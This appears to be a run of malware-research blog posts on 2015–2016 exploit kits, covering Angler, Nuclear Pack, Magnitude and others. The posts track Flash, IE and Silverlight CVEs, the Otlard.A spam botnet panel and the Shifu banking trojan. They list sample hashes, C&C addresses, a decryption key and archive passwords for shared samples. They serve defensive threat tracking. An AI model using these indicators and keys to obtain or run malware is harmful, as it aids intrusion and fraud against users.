Trash and Mailbox by Bethesda SoftworksOtlard.A (or let's say at least the malware triggering 2806902 || ETPRO TROJAN Win32.Otlard.A C&C Checkin response )  is a Spam BotnetI saw it loaded as a plugin in an instance of AndromedaThat Andromeda is being spread via :Bedep build id 6005 and here 6007 from an Angler EK fed by Malvertising :VirtualDonna group redirecting traffic to an Angler instance loading Bedep buildid 6007 in memoryBedep 6007 loading Andromeda 55ead0e4010c7c1a601511286f879e33 before update task.2015-09-28Note : Bedep 6007 was sometimes loading it with other payload-2015-09-16 for : ec5d314fc392765d065ff16f21722008 with Trapwot (FakeAV) e600985d6797dec2f7388e86ae3e82ba and Pony a4f08c845cc8e2beae0d157a3624b686-2015-09-29 for : 37898c10a350651add962831daa4fffa with Kovter ( 24143f110e7492c3d040b2ec0cdfa3d0 )That Andromeda beaconing to dnswow .com enslaved >10k bots in a week :Andromeda dnswow 2015-11-22Andromeda dnswow 2015-11-27Here the Otlard.A task in that Andromeda instance :Task installing Otlard.A as a plugin to Andromedaa Task in a Smokebot dropped by Nuclear Pack fed by Malvertising :Malvertising > Nuclear Pack > Smokebot > Stealer, Ramnit, Htbot and Andromeda > Otlard.A2015-11-28Smokebot : cde587187622d5f23e50b1f5b6c86969Andromeda : b75f4834770fe64da63e42b8c90c6fcd(out of topic Ramnit : 28ceafaef592986e4914bfa3f4c7f5c0 - It's being massively spread those days in many infection path. (Edit 2015-12-29 :  Htbot.B :  d0a14abe51a61c727420765f72de843a named ProxyBack by PaloAlto)Now here is what the control panel of that plugin looks like :Otlard.A panel :Otlard.A - JahooManager - Main - 2015-09-27Otlard.A - JahooManager - Servers - 2015-09-27Otlard.A - JahooManager - Settings - 2015-09-27Otlard.A - JahooManager - Campaigns - 2015-09-27Otlard.A - JahooManager - Bot - 2015-09-27that exe is : 2387fb927e6d9d6c027b4ba23d8c3073 and appears to be AndromedaOtlard.A - JahooSender - Tasks - 2015-09-27Otlard.A - JahooSender - Tasks - 2015-11-28Otlard.A - JahooSender - Tasks - Done Task - 2015-09-27Otlard.A - JahooSender - Domains - 2015-09-27Otlard.A - JahooSender - Domains - 2015-11-28Otlard.A - JahooSender - Messages - 2015-09-27Otlard.A - JahooSender - Messages - 2015-11-28Otlard.A - JahooSender - Messages - Edit a Message - 2015-11-28Otlard.A - JahooSender - Messages - Edit a Message - 2015-11-28Otlard.A - JahooSender - Messages - Edit a Message - 2015-11-28Otlard.A - JahooSender - Headers - 2015-11-28Otlard.A - JahooSender - Headers - Editing Header - 2015-11-28Otlard.A - JahooSender - Headers - Editing Header - 2015-11-28Otlard.A - JahooSender - Macross - 2015-11-28Otlard.A - JahooSender - Macross - 2015-11-28Otlard.A - JahooSender - Macross - Editing macross - 2015-11-28Otlard.A - JahooSender  - Macross - Editing macross - 2015-11-28Otlard.A - JahooSender - Macross - Editing macross - 2015-11-28Otlard.A - JahooSender - Attach - 2015-11-28Otlard.A - JahooSender - Attach - Attached image - 2015-11-28Otlard.A - JahooSender - Rules - 2015-11-28Otlard.A - JahooSender - Rules > Spam - 2015-11-28Olard.A - JahooSender - Rules > User - 2015-11-28Olard.A - Bases - Emails - 2015-11-28Olard.A - Bases - Blacklist - 2015-11-28Olard.A - Bases - Blacklist - Edit - 2015-11-28Olard.A - Botnet - Main - 2015-09-27Olard.A - Botnet - Main - 2015-11-28Otlard.A - Botnet - Modules - 2015-11-28Otlard.A - Botnet - Modules - Edit - 2015-11-28Otlard.A - Incubator - Accounts - 2015-11-28Otlard.A - Incubator - Settings - 2015-11-28Note : registrator menu has disappeared in last version. --Andromeda C&C 2015-11-28 :5.8.35.241202023 | 5.8.35.0/24 | LLHOST | EU | llhost-inc.com | LLHost IncSpam Module C&C 2015-11-28 :5.8.32.10 5.8.32.85.8.32.525.8.34.205.8.32.535.8.32.56202023 | 5.8.32.0/24 | LLHOST | EU | zanufact.com | LLHost IncThanks : Brett StoneGross for helping me with decoding/understanding the network communicationsFiles :All samples which hashes have been discussed here are in that zip.Jahoo - socker.dll : 7d14c9edfd71d2b76dd18e3681fec798( If you want to look into this, i can provide associated network traffic)Read More :Inside Andromeda Bot v2.06 Webpanel / AKA Gamarue - Botnet Control Panel 2012-07-02Inside Pony 1.7 / Fareit C&C - Botnet Control Panel - 2012-06-27Inside Smoke Bot - Botnet Control Panel - 2012-04-28Post publication Reading :ProxyBack Malware Turns User Systems Into Proxies Without Consent - 2015-12-23 - JeffWhite - PaloAlto

The CVE-2015-7645 has been fixed with Adobe Flash Player 19.0.0.226. Spotted in the wild (2015-10-13) in APT28's exploit kit by TrendMicro, this exploit was already reported 2 weeks before (2015-09-29) to Adobe by Natalie Silvanovich.I reported the Flash 0-day (CVE-2015-7645) two weeks before it was found in the wild https://t.co/nYeAWRG5jO— Natalie Silvanovich (@natashenka) 16 Octobre 2015 It has now made its way to Exploit KitAngler EK :2015-10-29CVE id confirmed by by Anton Ivanov ( Kaspersky )Angler EK successfully exploiting Flash 19.0.0.2072015-10-29Flash sample in that pass : 4af57fb1c71bb9c1599371d48240ff36Another sample : bea824974f958ac4efc58484a88a9c18One more from the Poweliks instance : 0d72221d41eff55dcfd0da50cd1c545eNot replayable fiddler sent to VTOut of topic sample loaded by bedep :5a60925ea3cc52c264b837e6f2ee915e Necursa9d5a9a997954f5421c94ac89d2656cd Vawtrak ( < that one was not expected in that infection path)2016-03-12Edge is now being served a landing and the flash being sent is targeting this CVE according to Kaspersky and EsetAngler EK exploiting Flash 18.0.0.209 on Windows 10 (build 10240) through EdgeFiddler : AnglerEK_Edge_18.0.0.209_2016-03-11.zipNuclear Pack:2015-10-30Nuclear Pack which has been playing with landing URI pattern lately has integrated itCVE-2015-7645 in Nuclear Pack on 2015-10-30Sample in that pass : f5dd2623ae871d58483bf14ec5d635e4Out of topic payload : 0b3de2a8d838883e10a1d824d20fe95c Kelihos Loader (harsh02)Fiddler sent to VTMagnitude:2015-11-10Magnitude trying to exploit CVE-2015-76452015-11-10Spotted sample : 21993dd3b943d935a9296aeff831cbb9 CVE id confirmed by Timo HirvonenNo payload but the actor behind that thread would like to see you Cryptowalled. Update might come.Spartan :2015-11-12Without surprise as Spartan is the work of the coder of Nuclear Pack.Note : old version of Chrome <= 43.0.257 and Firefox < 38 seems to be falling as wellSpartan pushing Pony and Alphacrypt via CVE-2015-76452015-11-12Sample in that pass : 1c074c862d3e25ec9674e6bd62965ad8  (another one: 66f34cd7ef06a78df552d18c729ae53c )(out of topic payload : Pony: 29c940f9d0805771e9c7ec8a5939fa25 (45.63.71.12 /myadvert/autoget.php) and Cryptowall 74ebff4acc4ad9c2a2e665ff293c02e6  NB earlier today drops were Pony and Alphacrypt ) Fiddler sent to VTNeutrino:Most probably appeared 2015-10-16Necurs being dropped by Neutrino via CVE-2015-76452015-11-17Sample in that pass: 7dd9813ef635e98dd9585deaefecfcff(Out of topic payload : Necurs a83a96e87e80adef1e4598a645f2918c )Fiddler sent to VT  (You might want to read the detailed analysis by Trustave)Read More :Adobe Flash: Type Confusion in IExternalizable.writeExternal When Performing Local Serialization - 2015-09-29 - Natalie SilvanovichNew Adobe Flash Zero-Day Used in Pawn Storm Campaign Targeting Foreign Affairs Ministries - 2015-10-13 - Feike Hacquebord - Brooks Li - Peter Pi - TrendMicroLatest Flash Exploit Used in Pawn Storm Circumvents Mitigation Techniques - 2015-10-16 - Peter Pi - TrendMicroPost Publication Reading :Neutrino Exploit Kit – One Flash File to Rule Them All - 2015-12-28 - Daniel Chechik and Anat Davidi - Spiderlabs/Trustwave

In the post on the UK focused Shifu I illustrated malvertising traffic to Angler.The traffer group behind this activity is the same exposed by BelchSpeak from Invincea in many tweets (explaining the addition of code to spot Invincea Sandbox)  FoxIT in june,  Malwarebytes in September,  or Trendmicro 2 weeks ago.As it's easier to have a name to share/talk  about stuff i'll use "VirtualDonna Traffers" to refer to them (virtualdonna .com is one of the domains they used that got some attention)Earlier this year they were using https bit.ly,2015-07-11 - bit.ly as https url shortenertiny url2015-07-11 - tiny url as https url shorteneror goo.gl url shortener2015-06-12 - goo.gl as https url shorterner and switched to their own https redirector behind cloudflare around the middle of September ( naotsandhap.euTwo pass here : same source (Dailymotion), same country (Australia), same Traffer for same customer (how/why? same payload : Reactorbot  srvdexpress3 .com)Different Legit part of the chain2015-09-29then 2 weeks ago mediacpm.com and wrontoldretter.eu )https gives the traffer the ability to kill the referer chain (making it more difficult to figure out where the Exploit Kit landing spotted in the traffic is coming from).Once discovered a way to Sig this is to flag the ssl certificate being used.Those days they are using a DoubleClick https open redirect.VirtualDonna Traffers exploiting an https open redirect by Doubleclick in its chain to Angler EKGB - 2015-10-15Out of topic Payload in that pass : Shifu - 695d6fbd8ab789979a97fb886101c576 beaconing to nyctradersacademy .comDoubleclick has been informed about the issue.Post Publication Readings :The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK - 2015-12-15 - ProofpointLet’s Encrypt Now Being Abused By Malvertisers - 2016-01-06 - TrendMicro

I noticed since several days a shift in malware distribution in the UK.Many infection path that I follow are now dropping a banker that i already saw many times, especially at the end of 2014 and mostly in Italy.First time I encountered that threat : 2014-10-08Angler EK dropping 165146e43ccee9c29b62693caf290df7 in an IT focused infection path2014-10-08At that time I learnt from Frank Ruiz ( FoxIT ) that he spotted it 1 month earlier (2014-09-03 exactly). We were using a "non public" name to talk about it.So two days ago in UK traffic :2015-09-22 - An Angler EK dropping  0598ee3e06c681d7f9e05d83bb7ea422 via malvertising on GBR trafficI saw that banking trojan again. (note : contacted,  Frank Ruiz told me that this banker activity never really stopped). What was new to me is that it was installing Apache,Apache folder installed by 0598ee3e06c681d7f9e05d83bb7ea422 2015-09-22Apache ConfigData folder of the Apache installationCustomers of 4 financial institutions are targeted by the injects stored in the config.xmlconfig.xmlThe same day i saw it again, other malvertising campaign (read: other actor bringing the traffic) and not dropped directly but as a 2nd Stage in a bedep thread which was not grabbing an adfraud module:Angler EK pushing bedep grabbing 791491ba9f0a7670659f45f1e5421c83 2015-09-22Seeing it again today in malvertising campaign focused on UK, I decided to write about that and contacted Brett StoneGross (Dell SecureWorks) to try and get the 'defense name' for this. He told me that what I was describing was probably Shifu ..and fast confirmed it looking at the sample. (Edit reaction to twitter : He also told me that Shifu is based on Shiz)So here we are: Shifu <3 GBRShifu <3 GBR2015-09-24Side note : Here are some of the DGA in case main domain stop working.Files : ShifuPackage_2015-09-24.zip Password : malwareContains : 4 fiddler, 1 pcap, 6 samples and 2 apache config folder (with injects).Thanks: Frank Ruiz (Foxit) and Brett StoneGross (Dell SecureWorks) for their inputs/insight/awesomeness.Read More:Shifu: ‘Masterful’ New Banking Trojan Is Attacking 14 Japanese Banks - 2015-08-31 - Limor Kessem - IBM X-ForceJapanese Banking Trojan Shifu Combines Malware Tools - 2015-09-24 - Diwakar Dinkar - McAfeePost publication Reading:3,000 High-Profile Japanese Sites Hit By Massive Malvertising Campaign  2015-09-30 - Trenmicro

Patched with flash version 18.0.0.232, CVE-2015-5560 is now being exploited by Angler EK.Angler EK :2015-08-29[Edit : 2015-09-01] Exploit candidated by by Anton Ivanov ( Kaspersky ) as CVE-2015-5560 [/edit]The exploit has been added the 28th. It's not being sent to Flash 18.0.0.232..It uses the same Diffie-Hellman Key Exchange technique described by FireEye as in their CVE-2015-2419 implementation making a default fiddler unreplayable.Angler EK pushing Bedep to Win7 IE11 Flash 18.0.0.209 - CVE-2015-55602015-08-29Sample in that pass : 9fbb043f63bb965a48582aa522cb1fd0Fiddler sent to VT (password is malware)Note: with help from G Data, a replayable fiddler is available. No public share (you know how to get it).Nuclear Pack :2015-09-10Additional post spotted on the 2015-09-10Nuclear Pack additionnal post on 2015-09-10 showing integration of CVE-2015-5560 was on the roadand got a first payload  the day after :Nuclear Pack successfully exploiting Flash 18.0.0.209 with CVE-2015-5560 (rip from Angler)2015-09-11( Out of topic payload : 91b76aaf6f7b93c667f685a86a7d68de  Smokebot C&C  hostnamessimply1.effers .com: )Files : Fiddler here (Password is malware)Read More :Adobe Flash: Overflow in ID3 Tag Parsing - 2015-06-12 Google Security ResearchThree bypasses and a fix for one of Flash's Vector.<*> mitigations - 2015-08-19 - Chris Evans - Google Project ZeroCVE-2015-2419 – Internet Explorer Double-Free in Angler EK  - 2015-08-10 - FireEyeBedep’s DGA: Trading Foreign Exchange for Malware Domains - 2015-04-21 - Dennis Schartz - Arbor SertPost publication reading :Attacking Diffie-Hellman protocol implementation in the Angler Exploit Kit - 2015-09-08 KasperskyAnalysis of Adobe Flash Player ID3 Tag Parsing Integer Overflow Vulnerability (CVE-2015-5560) - 2016-01-12 - Nahuel Riva - CoreSecurity

As published by FireEye Angler EK is now exploiting CVE-2015-2419 fixed with MS15-065Angler EK :2015-08-10It seems they might have started to work on that exploit as early as 2015-07-24 where some instances briefly used code to gather ScriptEngineVersion from redirected visitors :Angler EK gathering ScriptEngineVersion data the fast way.2015-07-24Today first pass i made was showing a new POST call and was successfully exploiting a VM that used to be safe to Angler.CVE-2015-2419 successfully exploiting IE11 in windows 72015-08-10(Here bedep grabbing Pony and TeslaCrypt then doing some AdFraud)I spent (too much 😉 ) time trying to decode that b value in the POST reply.Here are some materials :- The landing after first pass of decoding and with some comments : http://pastebin.com/JQuyAXarThe post call is handled by String['prototype']['jjd'] , ggg is sent to Post data as well as the ScriptEngineVersion (in the shared pass : 17728 )- The l() function handling the post : http://pastebin.com/hxZJwbaY- The post data and reply after first pass of decoding : http://pastebin.com/raw.php?i=NWkU7CXrFiles : 2 Fiddlers (ScriptEngineVersion Gathering and successfull pass - use malware as password)Thanks :Horgh_RCE for his helpMagnitude :2015-08-22( I am waiting for some strong confirmation on CVE-2015-2426 used as PrivEsc only here )Magnitude successfully exploiting CVE-2015-2419 to push an elevated (CVE-2015-2426) Cryptowall on IE11 in Win72015-08-22As you can see the CVE-2015-2419 is a RIP of Angler EK's implementation (even containing their XTea key, despite payload is in clear)Note : The CVE-2015-2426 seems to be used for privilege escalation onlyCryptowall dropped by Magnitude executed as NT Authority\system after CVE-2015-24262015-08-23and has been associated to flash Exploit as well.Pass showing the privilege escalation has been associated to flash Exploit as well.2015-08-23Files : CVE-2015-2419 pass (password: malware)CVE-2015-5122 pass featuring CVE-2015-2426 (password : malware)Thanks :Horgh_RCE , EKWatcher and Will Metcalf for their helpNuclear Pack:2015-08-23Nuclear Pack exploiting IE11 in Win7 with CVE-2015-2419 to push TeslaCrypt2015-08-23Files :  Fiddler (Password is malware)Neutrino :CVE Identification by Timo HirvonenNeutrino successfully exploiting CVE-2015-2419 on IE11 in Windows 72015-08-27(Out of topic payload : c7692ccd9e9984e23003bef3097f7746  Betabot)Files: Fiddler (Password is malware)RIG:2015-08-27RIG successfully exploiting CVE-2015-24192015-08-27(Out of topic payload : fe942226ea57054f1af01f2e78a2d306 Kelihos (kilo601)Files : Fiddler (password is malware)Hunter :2015-08-27@hunter_exploit 2015-08-26As spotted by Proofpoint Hunter EK has integrated CVE-2015-2419Hunter Exploit Kit successfully exploiting CVE-2015-24192015-08-27Files : Fiddler (password is malware)Kaixin :2016-01-08Files: Fiddler here (password is malware)( out of topic Payload : bb1fff88c3b86baa29176642dc5f278d firing PCRat/Gh0st ET rule 2016922 )Sundown :2016-07-06 - Thanks  Anton Ivanov (Kaspersky) for confirmationSundown successfully Exploiting CVE-2015-2419 - 2016-07-06cmd into wscript into Neutrino-ish named / RC4ed Payload let think this is a Rip from Neutrino implementation( Out of topic payload: bcb80b5925ead246729ca423b7dfb635 is a Netwire Rat )Files : Sundown_CVE-2015-2419_2016-07-06 (password is malware)Read More :Hunter Exploit Kit Targets Brazilian Banking Customers - 2015-08-27 - ProofpointCVE-2015-2419 – Internet Explorer Double-Free in Angler EK - 2015-08-10 - Sudeep Singh, Dan Caselden - FireEye2015-08-10 - ANGLER EK FROM 144.76.161.249 SENDS BEDEP This pass shared by Brad from Malware-Traffic-Analysis is including the CVE-2015-2419Generic bypass of next-gen intrusion / threat / breach detection systems - 2015-06-05 - Zoltan Balazs - EffitasPost publication Reading :Attacking Diffie-Hellman protocol implementation in the Angler Exploit Kit - 2015-09-08 Kaspersky

Patched with ms15-044 CVE-2015-1671 is described as TrueType Font Parsing Vulnerability.Silverlight up to 5.1.30514.0 are affected, but note : most browser will warn that the plugin is outdatedOut of date Plugin protection in Chrome 39.0.2171.71Out of date ActiveX controls blocking in Internet Explorer 11(introduced in August 2014)and also consider that Microsoft announced the end of Silverlight at beginning of the month.Angler EK :2015-07-21Around the 1st of July some new Silverlight focused code appeared in Angler EK landing.It even seems coders made some debug or something wrong as you could see this kind of popup several hours long on Angler EK.Deofuscated snipet of Silverlight call exposed to Victims in Angler EK2015-07-02I failed trying to get something else than a 0 size silverlight calls.I heard about filled calls from Eset and EKWatcher.The exploit sent was 3fff76bfe2084c454be64be7adff2b87  and appears to be a variation of CVE-2015-1671 (Silverlight 5 before 5.1.40416.00).  I spent hours trying to get a full exploit chain....No luck. Only 0size calls.But, it seems it's back today (or i get more lucky ? ) :--Disclaimer : many indicators are whispering it's the same variation of CVE-2015-1671, but I am still waiting for a strong confirmation--Silverlight 5.1.30514.0 exploited by Angler EK via CVE-2015-1671 in IE 11 on Windows 72015-07-21Silverlight 5.1_10411.0 exploited by Angler EK via CVE-2015-1671 in Chrome 39 on Windows 72015-07-21Silverlight 5.1.30514.0 exploited by Angler EK via CVE-2015-1671 in Firefox 38 on Windows 72015-07-21Two x86 - x64 dll are encoded in the payload stream with XTea Key : m0boo69biBjSmd3pSilverlight dll in DotPeek after Do4dotSample in those pass : ac05e093930662a2a2f4605f7afc52f2(Out of topic payload is bedep which then gather an adfraud module - you have the XTea key if you want to extract)Files: Fiddler (password is malware)[Edit : 2015-07-26, has been spread to all Angler Threads]Thanks for help/tips :Eset, Microsoft, Horgh_RCE,  Darien Huss, Will Metcalf, EKWatcher.Magnitude :2015-07-28  has been spotted by Will Metcalf in MagnitudeIt's a rip of Angler's oneSilverlight 5.1.30514.0 exploited by Magnitude2015-08-29Files: Fiddler (password is malware)Read more :CVE-2013-0074/3896 (Silverlight) integrates Exploit Kits - 2013-11-13